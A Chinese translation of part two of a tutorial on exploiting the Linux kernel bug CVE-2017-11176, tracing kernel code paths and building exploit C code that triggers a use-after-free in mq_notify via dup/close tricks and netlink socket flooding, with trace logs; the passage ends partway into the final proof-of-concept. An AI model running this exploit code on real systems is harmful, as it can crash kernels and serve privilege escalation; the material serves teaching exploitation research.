CVE-2017-11176: 一步一步linux内核漏洞利用 (二) (PoC)

lm0963 / 2019-06-11 08:42:00 / 浏览数 5477 安全技术 二进制安全 顶(0) 踩(0)

本文翻译自：CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 2/4)

译者注：前一部分链接

使第二次循环中的fget()返回NULL

到目前为止，在用户态下满足了触发漏洞的三个条件之一。TODO:

- 使netlink_attachskb()返回1
- [DONE]exp线程解除阻塞
- 使第二次fget()调用返回NULL

在本节中，将尝试使第二次fget()调用返回NULL。这会使得在第二个循环期间跳到“退出路径”：

```
retry:
           filp = fget(notification.sigev_signo);
           if (!filp) {
               ret = -EBADF;
               goto out;           // <--------- on the second loop only!
           }
```

为什么fget()会返回NULL？

通过System Tap，可以看到重置FDT中的对应文件描述符会使得fget()返回NULL：

```
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
```

fget()的作用：

- 检索当前进程的“struct files_struct”
- 在files_struct中检索“struct fdtable”
- 获得“fdt->fd[fd]”的值 (一个“struct file”指针)
- “struct file”的引用计数 (如果不为NULL) 加1
- 返回“struct file”指针

简而言之，如果特定文件描述符在FDT中为NULL，则fget()返回NULL。

NOTE:如果不记得所有这些结构之间的关系，请参考Core Concept＃1。

重置文件描述符表中的条目

在stap脚本中，重置了文件描述符“3”的fdt条目 (参见上一节)。怎么在用户态下做到这点？如何将FDT条目设置为NULL？答案：close()系统调用。

这是一个简化版本 (没有锁也没有出错处理)：

```
// [fs/open.c]

   SYSCALL_DEFINE1(close, unsigned int, fd)
   {
     struct file * filp;
     struct files_struct *files = current->files;
     struct fdtable *fdt;
     int retval;

[0]   fdt = files_fdtable(files);
[1]   filp = fdt->fd[fd];
[2]   rcu_assign_pointer(fdt->fd[fd], NULL); // <----- equivalent to: fdt->fd[fd] = NULL
[3]   retval = filp_close(filp, files);
     return retval;
   }
```

close()系统调用：

- [0] - 检索当前进程的FDT
- [1] - 检索FDT中与fd关联的struct file指针
- [2] - 将FDT对应条目置为NULL（无条件）
- [3] - 文件对象删除引用（即调用fput()）

我们有了一个简单的方法（无条件地）重置FDT条目。然而，它带来了另一个问题.....

先有蛋还是先有鸡问题

在unblock_thread线程调用setsockopt()之前调用close()非常诱人。问题是setsockopt()需要一个有效的文件描述符！已经通过system tap尝试过。在用户态下同样遇到了这个问题.....

在调用setsocktopt()之后再调用close()会怎么样？如果我们在调用setsockopt()（解除主线程阻塞）之后再调用close()，窗口期就会很小。

幸运的是有一种方法！在Core Concept＃1中，已经说过文件描述符表不是1：1映射。几个文件描述符可能指向同一个文件对象。如何使两个文件描述符指向相同的文件对象？dup()系统调用。

```
// [fs/fcntl.c]

   SYSCALL_DEFINE1(dup, unsigned int, fildes)
   {
     int ret = -EBADF;
[0]   struct file *file = fget(fildes);

     if (file) {
[1]     ret = get_unused_fd();
       if (ret >= 0)
[2]       fd_install(ret, file); // <----- equivalent to: current->files->fdt->fd[ret] = file
       else
         fput(file);
     }
[3]   return ret;
   }
```

dup()完全符合要求：

- [0] - 根据文件描述符获取相应的struct file指针。
- [1] - 选择下一个“未使用/可用”的文件描述符。
- [2] - 设置fdt中新文件描述符（[1]处获得）对应条目为相应struct file指针（[0]处获得）。
- [3] - 返回新的fd。

最后，我们将有两个文件描述符指向相同文件对象：

- sock_fd：在mq_notify()和close()使用
- unblock_fd：在setsockopt()中使用

更新exp

更新exp（添加close/dup调用并修改setsockopt()参数）：

```
struct unblock_thread_arg
{
 int sock_fd;
 int unblock_fd;     // <----- used by the "unblock_thread"
 bool is_ready;
};

static void* unblock_thread(void *arg)
{
 // ... cut ...

 sleep(5); // gives some time for the main thread to block

 printf("[unblock] closing %d fd\n", uta->sock_fd);
 _close(uta->sock_fd);                              // <----- close() before setsockopt()

 printf("[unblock] unblocking now\n");
```

```
 if (_setsockopt(uta->unblock_fd, SOL_NETLINK,       // <----- use "unblock_fd" now!
                 NETLINK_NO_ENOBUFS, &val, sizeof(val)))
   perror("setsockopt");
 return NULL;
}

int main(void)
{
 // ... cut ...

 if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0)         // <----- dup() after socket()
 {
   perror("dup");
   goto fail;
 }
 printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);

 // ... cut ...
}
```

删除stap脚本中重置FDT条目的行，然后运行：

```
-={ CVE-2017-11176 Exploit }=-
[main] netlink socket created = 3
[main] netlink fd duplicated = 4
[main] creating unblock thread...
[main] unblocking thread has been created!
[main] get ready to block
[unblock] closing 3 fd
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!

<<< KERNEL CRASH >>>
```

ALERT COBRA：第一次内核崩溃！释放后重用。

崩溃的原因将在第3部分中进行研究。

长话短说：由于调用了dup()，调用close()不会真的释放netlink_sock对象（只是减少了一次引用）。netlink_detachskb()实际上删除netlink_sock的最后一个引用（并释放

“retry”路径

这节会展开部分内核代码。现在距离完整的PoC只有一步之遥。

TODO：

- 使netlink_attachskb()返回1
- [DONE]exp线程解除阻塞
- [DONE]使第二次fget()调用返回NULL

为了执行到retry路径，需要netlink_attachskb()返回1，必须要满足第一个条件并解除线程阻塞（已经做到了）：

```
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
             long *timeo, struct sock *ssk)
   {
     struct netlink_sock *nlk;
     nlk = nlk_sk(sk);

[0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
     {
       // ... cut ...
       return 1;
     }
     // normal path
     return 0;
   }
```

如果满足以下条件之一，则条件[0]为真：：

- sk_rmem_alloc大于sk_rcvbuf
- nlk->state最低有效位不为0。

目前通过stap脚本设置“nlk->state”的最低有效位：

```
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1;
```

但是将套接字状态标记为“拥塞”（最低有效位）比较麻烦，只有内核态下内存分配失败才会设置这一位。这会使系统进入不稳定状态。

相反，将尝试增加sk_rmem_alloc的值，该值表示sk的接收缓冲区“当前”大小。

填充接收缓冲区

在本节中，将尝试满足第一个条件，即“接收缓冲区已满？”：

```
atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf
```

struct sock（在netlink_sock中）具有以下字段：

- sk_rcvbuf：接收缓冲区“理论上”最大大小（以字节为单位）
- sk_rmem_alloc：接收缓冲区的“当前”大小（以字节为单位）
- sk_receive_queue：“skb”双链表（网络缓冲区）

NOTE：sk_rcvbuf是“理论上的”，因为接收缓冲区的“当前”大小实际上可以大于它。

在使用stap（第1部分）输出netlink sock结构时，有：

```
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
```

有两种方法使这个条件成立：

- 将sk_rcvbuf减小到0以下（sk_rcvbuf是整型（在我们使用的内核版本中））
- 将sk_rmem_alloc增加到133120字节大小以上

减少sk_rcvbuf

sk_rcvbuf在所有sock对象中通用，可以通过sock_setsockopt修改（使用SOL_SOCKET参数）：

```
// from [net/core/sock.c]

   int sock_setsockopt(struct socket *sock, int level, int optname,
           char __user *optval, unsigned int optlen)
   {
     struct sock *sk = sock->sk;
     int val;

     // ... cut  ...

     case SO_RCVBUF:
[0]     if (val > sysctl_rmem_max)
          val = sysctl_rmem_max;
   set_rcvbuf:
        sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
[1]     if ((val * 2) < SOCK_MIN_RCVBUF)
          sk->sk_rcvbuf = SOCK_MIN_RCVBUF;
        else
          sk->sk_rcvbuf = val * 2;
        break;

     // ... cut (other options handling) ...
   }
```

当看到这种类型的代码时，要注意每个表达式的类型。

NOTE:“有符号/无符号类型混用”可能存在许多漏洞，将较大的类型（u64）转换成较小的类型（u32）时也是如此。这通常会导致整型溢出或类型转换问题。

在我们使用的内核中有：

- sk_rcvbuf：int
- val：int
- sysctl_rmem_max：__u32
- SOCK_MIN_RCVBUF：由于“sizeof()”而“转变”为size_t

SOCK_MIN_RCVBUF定义：

```
#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))
```

通常有符号整型与无符号整型混合使用时，有符号整型会转换成无符号整型。

假设“val”为负数。在[0]处，会被转换为无符号类型（因为sysctl_rmem_max类型为“__u32”）。val会被置为sysctl_rmem_max（负数转换成无符号数会很大）。

即使“val”没有被转换为“__u32”，也不会满足第二个条件[1]。最后被限制在[SOCK_MIN_RCVBUF，sysctl_rmem_max]之间（不是负数）。所以只能修改sk_rmem_alloc而

回到“正常”路径

现在是时候回到自开始以来一直忽略的东西：mq_notify()“正常”路径。从概念上讲，当套接字接收缓冲区已满时执行“retry路径”，那么正常情况下可能会填充接收缓冲区。

netlink_attachskb()：

```
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
             long *timeo, struct sock *ssk)
   {
     struct netlink_sock *nlk;
     nlk = nlk_sk(sk);
     if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
         // ... cut (retry path) ...
     }
     skb_set_owner_r(skb, sk);       // <----- what about this ?
     return 0;
   }
```

因此，正常情况下会调用skb_set_owner_r()：

```
static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
   {
     WARN_ON(skb->destructor);
     __skb_orphan(skb);
     skb->sk = sk;
     skb->destructor = sock_rfree;
[0]   atomic_add(skb->truesize, &sk->sk_rmem_alloc);  // sk->sk_rmem_alloc += skb->truesize
     sk_mem_charge(sk, skb->truesize);
   }
```

skb_set_owner_r()中会使sk_rmem_alloc增加skb->truesize。那么可以多次调用mq_notify()直到接收缓冲区已满？不幸的是不能这样做。

在mq_notify()的正常执行过程中，会一开始就创建一个skb（称为“cookie”），并通过netlink_attachskb()将其附加到netlink_sock，已经介绍过这部分内容。然后netlink_

问题是一次只能有一个（cookie）“skb”与mqueue_inode_info相关联。第二次调用mq_notify()将会失败并返回“-EBUSY”错误。只能增加sk_rmem_alloc一次（对于给定的

实际上可能可以创建多个消息队列，有多个mqueue_inode_info对象并多次调用mq_notify()。或者也可以使用mq_timedsend()系统调用将消息推送到队列中。只是不想在

可以通过skb_set_owner_r()增加sk_rmem_alloc。

netlink_unicast()

netlink_attachskb()可能会通过调用skb_set_owner_r()增加sk_rmem_alloc。netlink_attachskb()函数可以由netlink_unicast()调用。让我们做一个自底向上的分析来检查如

```
- skb_set_owner_r
- netlink_attachskb
- netlink_unicast
- netlink_sendmsg   // there is a lots of "other" callers of netlink_unicast
- sock->ops->sendmsg()
- __sock_sendmsg_nosec()
- __sock_sendmsg()
- sock_sendmsg()
- __sys_sendmsg()
- SYSCALL_DEFINE3(sendmsg, ...)
```

因为netlink_sendmsg()是netlink套接字的proto_ops（核心概念＃1），所以可以通过sendmsg()调用它。

从sendmsg()系统调用到sendmsg的proto_ops（sock->ops->sendmsg()）的通用代码路径将在第3部分中详细介绍。现在先假设可以很轻易调用netlink_sendmsg()。

从netlink_sendmsg()到netlink_unicast()

sendmsg()系统调用声明：

```
size_t  sendmsg ■int  sockfd ■ const  struct  msghdr  * msg ■ int  flags ■;
```

在msg和flags参数中设置对应值从而调用netlink_unicast();

```
struct msghdr {
    void         *msg_name;       /* optional address */
    socklen_t     msg_namelen;    /* size of address */
    struct iovec *msg_iov;        /* scatter/gather array */
    size_t        msg_iovlen;     /* # elements in msg_iov */
    void         *msg_control;    /* ancillary data, see below */
    size_t        msg_controllen; /* ancillary data buffer len */
    int           msg_flags;      /* flags on received message */
 };

 struct iovec
 {
   void __user     *iov_base;
   __kernel_size_t iov_len;
 };
```

在本节中，将从代码推断参数值，并逐步建立我们的"约束"列表。这样做会使内核执行我们想要的路径。这就是内核漏洞利用的本质。在函数的末尾处才会调用netlink_unic

```
static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
            struct msghdr *msg, size_t len)
   {
     struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
     struct sock *sk = sock->sk;
     struct netlink_sock *nlk = nlk_sk(sk);
     struct sockaddr_nl *addr = msg->msg_name;
     u32 dst_pid;
     u32 dst_group;
     struct sk_buff *skb;
     int err;
     struct scm_cookie scm;
     u32 netlink_skb_flags = 0;

[0]   if (msg->msg_flags&MSG_OOB)
       return -EOPNOTSUPP;

[1]   if (NULL == siocb->scm)
       siocb->scm = &scm;

     err = scm_send(sock, msg, siocb->scm, true);
[2]   if (err < 0)
       return err;

     // ... cut ...

     err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);   // <---- our target

   out:
     scm_destroy(siocb->scm);
     return err;
   }
```

不设置MSG_OOB标志以满足[0]处条件。这是第一个约束：msg->msg_flags没有设置MSG_OOB。

[1]处的条件为真，因为在__sock_sendmsg_nosec()中会将"siocb->scm"置为NULL。最后，scm_send()返回值非负[2]，代码：

```
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
                  struct scm_cookie *scm, bool forcecreds)
{
   memset(scm, 0, sizeof(*scm));
   if (forcecreds)
```

```
       scm_set_cred(scm, task_tgid(current), current_cred());
   unix_get_peersec_dgram(sock, scm);
   if (msg->msg_controllen <= 0)     // <----- this need to be true...
       return 0;                     // <----- ...so we hit this and skip __scm_send()
   return __scm_send(sock, msg, scm);
}
```

第二个约束：msg->msg_controllen等于零（类型为size_t，没有负值）。

继续：

```
// ... netlink_sendmsg() continuation ...

[0]   if (msg->msg_namelen) {
       err = -EINVAL;
[1]     if (addr->nl_family != AF_NETLINK)
         goto out;
[2a]    dst_pid = addr->nl_pid;
[2b]    dst_group = ffs(addr->nl_groups);
       err =  -EPERM;
[3]     if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
         goto out;
       netlink_skb_flags |= NETLINK_SKB_DST;
     } else {
       dst_pid = nlk->dst_pid;
       dst_group = nlk->dst_group;
     }

     // ... cut ...
```

这个有点棘手。这块代码取决于"sender"套接字是否已连接到目标（receiver）套接字。如果已连接，则"nlk->dst_pid"和"nlk->dst_group"都已被赋值。但是这里不想连接

看一下函数的开头部分，"addr"是另一个可控的参数：msg->msg_name。通过[2a]和[2b]，可以选择任意的"dst_group"和"dst_pid"。控制这些可以做到：

- dst_group == 0：发送单播消息而不是广播（参考man 7 netlink）
- dst_pid！= 0：与我们选择的receiver套接字（用户态）通信。0代表"与内核通信"（阅读手册！）。

将其转换成约束条件（msg_name被转换为sockaddr_nl类型）：

msg->msg_name->dst_group 等于零
msg->msg_name->dst_pid 等于"目标"套接字的nl_pid

这里还有一个隐含的条件是netlink_allowed(sock，NL_NONROOT_SEND) [3]返回非零值：

```
static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
 return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));
}
```

因为运行exp的用户是非特权用户，所以没有CAP_NET_ADMIN。唯一设置了"NL_NONROOT_SEND"标志的"netlink协议"是NETLINK_USERSOCK。所以"sender"套接字必

另外[1]，需要使msg->msg_name->nl_family等于AF_NETLINK。

继续：

```
[0]   if (!nlk->pid) {
[1]     err = netlink_autobind(sock);
       if (err)
         goto out;
     }
```

无法控制[0]处的条件，因为在套接字创建期间，套接字的pid会被设置为零（整个结构体由sk_alloc()清零）。后面会讨论这点，现在先假设netlink_autobind()
[1]会为sender套接字找到"可用"的pid并且不会出错。在第二次调用sendmsg()时将不满足条件[0]，此时已经设置"nlk->pid"。继续：

```
err = -EMSGSIZE;
[0]   if (len > sk->sk_sndbuf - 32)
       goto out;
     err = -ENOBUFS;
     skb = alloc_skb(len, GFP_KERNEL);
[1]   if (skb == NULL)
       goto out;
```

“len”在__sys_sendmsg()中计算。这是“所有iovec长度的总和”。因此，所有iovecs的长度总和必须小于sk->sk_sndbuf减去32[0]。为了简单起见，将使用单个iovec：

- msg->msg_iovlen等于1 //单个iovec
- msg->msg_iov->iov_len小于等于sk->sk_sndbuf减去32
- msg->msg_iov->iov_base必须是用户空间可读 //否则__sys_sendmsg()将出错

最后一个约束意味着msg->msg_iov也必须指向用户空间可读区域（否则__sys_sendmsg()将出错）。

NOTE：“sk_sndbuf”等同于“sk_rcvbuf”但指的是发送缓冲区。可以通过sock_getsockopt()“SO_SNDBUF”参数获得它的值。

[1]处的条件不应该为真。如果为真，则意味着内核当前耗尽了内存并且处于对exp来说很糟的状态。不应该继续执行exp，否则很可能会失败，更糟的是会内核崩溃！

可以忽略下一个代码块（不需要满足任何条件），“siocb->scm”结构体由scm_send()初始化：

```
NETLINK_CB(skb).pid   = nlk->pid;
     NETLINK_CB(skb).dst_group = dst_group;
     memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
     NETLINK_CB(skb).flags = netlink_skb_flags;
```

继续：

```
err = -EFAULT;
[0]   if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
       kfree_skb(skb);
       goto out;
     }
```

[0]处的检查不会有问题，已经提供可读的iovec，否则之前的__sys_sendmsg()就已经出错（前一个约束）。

```
[0]   err = security_netlink_send(sk, skb);
     if (err) {
       kfree_skb(skb);
       goto out;
     }
```

Linux安全模块（LSM，例如SELinux）检查。如果无法满足此条件，那就需要找另一条路径来执行netlink_unicast()或另一种方法来增加“sk_rmem_alloc”（提示：也许可以

最后：

```
[0]   if (dst_group) {
       atomic_inc(&skb->users);
       netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
     }
[1]   err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
```

还记得之前将“dst_group”赋值为"msg->msg_name->dst_group"吧。由于它为零，将跳过[0]处代码... 最后调用netlink_unicast()！

总结一下从netlink_sendmsg()执行到netlink_unicast()所要满足的条件：

- msg->msg_flags没有设置MSG_OOB
- msg->msg_controllen等于0
- msg->msg_namelen不为0
- msg->msg_name->nl_family等于AF_NETLINK
- msg->msg_name->nl_groups等于0
- msg->msg_name->nl_pid不为0，指向receiver套接字
- sender套接字必须使用NETLINK_USERSOCK协议
- msg->msg_iovlen等于1
- msg->msg_iov是一个可读的用户态地址
- msg->msg_iov->iov_len小于等于sk_sndbuf减32
- msg->msg_iov->iov_base是一个可读的用户态地址

这是内核漏洞利用的部分过程。分析每个检查，强制执行特定的内核路径，定制系统调用参数等。实际上，建立此约束条件列表的时间并不长。有些路径比这更复杂。

继续前进，下一步是netlink_attachskb()。

从netlink_unicast()到netlink_attachskb()

这个应该比前一个更容易。通过以下参数调用netlink_unicast()：

```
netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
```

- sk是sender套接字
- skb是套接字缓冲区，由msg->msg_iov->iov_base指向的数据填充，大小为msg->msg_iov->iov_len
- dst_pid是可控的pid（msg->msg_name->nl_pid）指向receiver套接字
- msg->msg_flasg&MSG_DONTWAIT表示netlink_unicast()是否应阻塞

WARNING：在netlink_unicast()代码中，“ssk”是sender套接字，“sk”是receiver套接字。

netlink_unicast()代码：

```
int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
           u32 pid, int nonblock)
   {
     struct sock *sk;
     int err;
     long timeo;

     skb = netlink_trim(skb, gfp_any());   // <----- ignore this

[0]   timeo = sock_sndtimeo(ssk, nonblock);
   retry:
[1]   sk = netlink_getsockbypid(ssk, pid);
     if (IS_ERR(sk)) {
       kfree_skb(skb);
       return PTR_ERR(sk);
     }
[2]   if (netlink_is_kernel(sk))
       return netlink_unicast_kernel(sk, skb, ssk);

[3]   if (sk_filter(sk, skb)) {
       err = skb->len;
       kfree_skb(skb);
       sock_put(sk);
       return err;
     }

[4]   err = netlink_attachskb(sk, skb, &timeo, ssk);
     if (err == 1)
       goto retry;
     if (err)
       return err;

[5]   return netlink_sendskb(sk, skb);
   }
```

在[0]处，sock_sndtimeo()根据nonblock参数设置timeo（超时）的值。由于我们不想阻塞（nonblock>0），timeo将为零。msg->msg_flags必须设置MSG_DONTWAI

在[1]处，根据pid获得receiver套接字“sk”。在下一节中会有说明，在通过netlink_getsockbypid()获得receiver套接字之前需要先将其绑定。

在[2]处，receiver套接字不能是“内核”套接字。如果一个netlink套接字
设置了NETLINK_KERNEL_SOCKET标志，则它被标记为“内核”套接字，这些套接字通过netlink_kernel_create()函数创建。不幸的是，NETLINK_GENERIC协议就是其中之一

在[3]处，BPF套接字过滤器可能正在生效。但如果没有为receiver套接字创建任何BPF过滤器，则可以不用管它。

在[4]处调用了netlink_attachskb()！在netlink_attachskb()中，确保执行下列路径之一：

- receiver缓冲区未满：调用skb_set_owner_r() -> 增加sk_rmem_alloc
- receiver缓冲区已满：netlink_attachskb()不阻塞直接返回-EAGAIN

可以知道何时接收缓冲区已满（只需要检查sendmsg()的错误代码）。

最后，在[5]处调用netlink_sendskb()将skb添加到接收缓冲区列表中，并删除通过netlink_getsockbypid()获取的（receiver套接字）引用。好极了！:-)

更新约束列表：

- msg->msg_flags设置MSG_DONTWAIT
- receiver套接字必须在调用sendmsg()之前绑定
- receiver套接字必须使用NETLINK_USERSOCK协议
- 不要为receiver套接字定义任何BPF过滤器

现在非常接近完整的PoC。只要绑定receiver套接字就好了。

绑定receiver套接字

与任何套接字通信一样，两个套接字可以使用“地址”进行通信。由于正在使用netlink套接字，在这里将使用“struct sockaddr_nl”类型：

```
struct sockaddr_nl {
  sa_family_t     nl_family;  /* AF_NETLINK */
  unsigned short  nl_pad;     /* Zero. */
  pid_t           nl_pid;     /* Port ID. */
  __u32           nl_groups;  /* Multicast groups mask. */
};
```

由于不想成为“广播组”的一部分，因此nl_groups必须为0。这里唯一重要的字段是“nl_pid”。

基本上，netlink_bind()有两条路径：

- nl_pid不为0：调用netlink_insert()
- nl_pid为0：调用netlink_autobind()，后者又调用netlink_insert()

如果使用已分配的pid调用netlink_insert()将产生”-EADDRINUSE”错误。否则会在nl_pid和netlink套接字
之间创建映射关系。即现在可以通过netlink_getsockbypid()获得netlink套接字。此外，netlink_insert()会将套接字引用计数加1。在最后的PoC中这一点很重要。

NOTE：第4部分将详细介绍”pid：netlink_sock”映射存储方式。

虽然调用netlink_autobind()更自然一点，但我们实际上是通过不断尝试pid值（autobind的作用，找当前未使用的pid值）来模拟netlink_autobind功能（不知道为什么这样

译者注：本来应该nl_pid为0，然后调用bind的，但原文作者直接设置nl_pid为118然后不断递增尝试bind(),直到成功。netlink_autobind应该会获取当前未使用的pid值。

整合

确定所有执行路径花了很长时间，但现在是时候在exp中实现这一部分并最终达成目标：netlink_attachskb()返回1！

步骤：

- 创建两个AF_NETLINK套接字使用NETLINK_USERSOCK协议
- 绑定目标（receiver）套接字（最后它的接收缓冲区必须已满）
- [可选]尝试减少目标套接字的接收缓冲区（减少调用sendmsg()）
- sender套接字通过sendmsg()像目标套接字发送大量数据，直到返回EAGAIN错误
- 关闭sender套接字（不再需要）

可以独立运行下面代码以验证一切正常：

```
static int prepare_blocking_socket(void)
{
 int send_fd;
 int recv_fd;
 char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()
 int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

 struct sockaddr_nl addr = {
   .nl_family = AF_NETLINK,
   .nl_pad = 0,
   .nl_pid = 118, // must different than zero
   .nl_groups = 0 // no groups
 };

 struct iovec iov = {
   .iov_base = buf,
   .iov_len = sizeof(buf)
 };

 struct msghdr mhdr = {
   .msg_name = &addr,
   .msg_namelen = sizeof(addr),
   .msg_iov = &iov,
   .msg_iovlen = 1,
   .msg_control = NULL,
   .msg_controllen = 0,
   .msg_flags = 0,
 };
```

```
 printf("[ ] preparing blocking netlink socket\n");

 if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
     (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
 {
   perror("socket");
   goto fail;
 }
 printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

 // simulate netlink_autobind()
 while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
 {
   if (errno != EADDRINUSE)
   {
     perror("[-] bind");
     goto fail;
   }
   addr.nl_pid++;
 }

 printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

 if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
   perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
 else
   printf("[+] receive buffer reduced\n");

 printf("[ ] flooding socket\n");
 while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)  // <----- don't forget MSG_DONTWAIT
   ;
 if (errno != EAGAIN)  // <----- did we failed because the receive buffer is full ?
 {
   perror("[-] sendmsg");
   goto fail;
 }
 printf("[+] flood completed\n");

 _close(send_fd);

 printf("[+] blocking socket ready\n");
 return recv_fd;

fail:
 printf("[-] failed to prepare block socket\n");
 return -1;
}
```

通过system tap检查结果。从现在开始，System Tap仅用于观察内核，不再修改任何内容。请记得删除将套接字标记为阻塞的行，然后运行：

```
(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800
(socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1
(2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)
(2768-2768) [netlink] <<== netlink_autobind = 0
(2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)
(2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)
(2768-2768) [skb] <<== skb_put = ffff880006150000
(2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [iovec] <<== memcpy_fromiovec = 0
(2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40)
(2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)
(2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)
(2768-2768) [sk] <<== sk_filter = 0
(2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff
```

```
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 0                              // <-----
- sk->sk_rcvbuf = 2312                               // <-----
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_attachskb = 0
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 10504                          // <-----
- sk->sk_rcvbuf = 2312                               // <-----
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_unicast = 2800
(2768-2768) [netlink] <<== netlink_sendmsg = 2800
(2768-2768) [SYSCALL] <<== sendmsg= 10240
```

现在满足了"接收缓冲区已满"的条件（sk_rmem_alloc>sk_rcvbuf）。下一次调用mq_attachskb()将返回1！

更新TODO列表：

- [DONE]使netlink_attachskb()返回1
- [DONE]exp线程解除阻塞
- [DONE]使第二次fget()调用返回NULL

全部做完了？还差一点...

最终PoC

在最后三节中，编写用户态代码实现了触发漏洞所需的每个条件。在展示最终的PoC之前，还有一件事要做。

netlink_insert()会增加套接字引用计数，所以在进入mq_notify()之前，套接字引用计数为2（而不是1），所以需要触发漏洞两次！

在触发漏洞之前，通过dup()产生新的fd来解锁主线程。需要dup()两次（因为旧的会被关闭），所以最后可以保持一个fd解除阻塞，另一个fd来触发漏洞。

"Show me the code!"

最终PoC（不要运行system tap）：

```
/*
* CVE-2017-11176 Proof-of-concept code by LEXFO.
*
* Compile with:
*
*  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
*/

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
```

```
#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]

// ------------------------------------------------------------------------

// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
 syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
 syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

// ------------------------------------------------------------------------

#define PRESS_KEY() \
 do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

// ========================================================================
// ------------------------------------------------------------------------
// ========================================================================

struct unblock_thread_arg
{
 int sock_fd;
 int unblock_fd;
 bool is_ready; // we can use pthread barrier instead
};

// ------------------------------------------------------------------------

static void* unblock_thread(void *arg)
{
 struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
 int val = 3535; // need to be different than zero

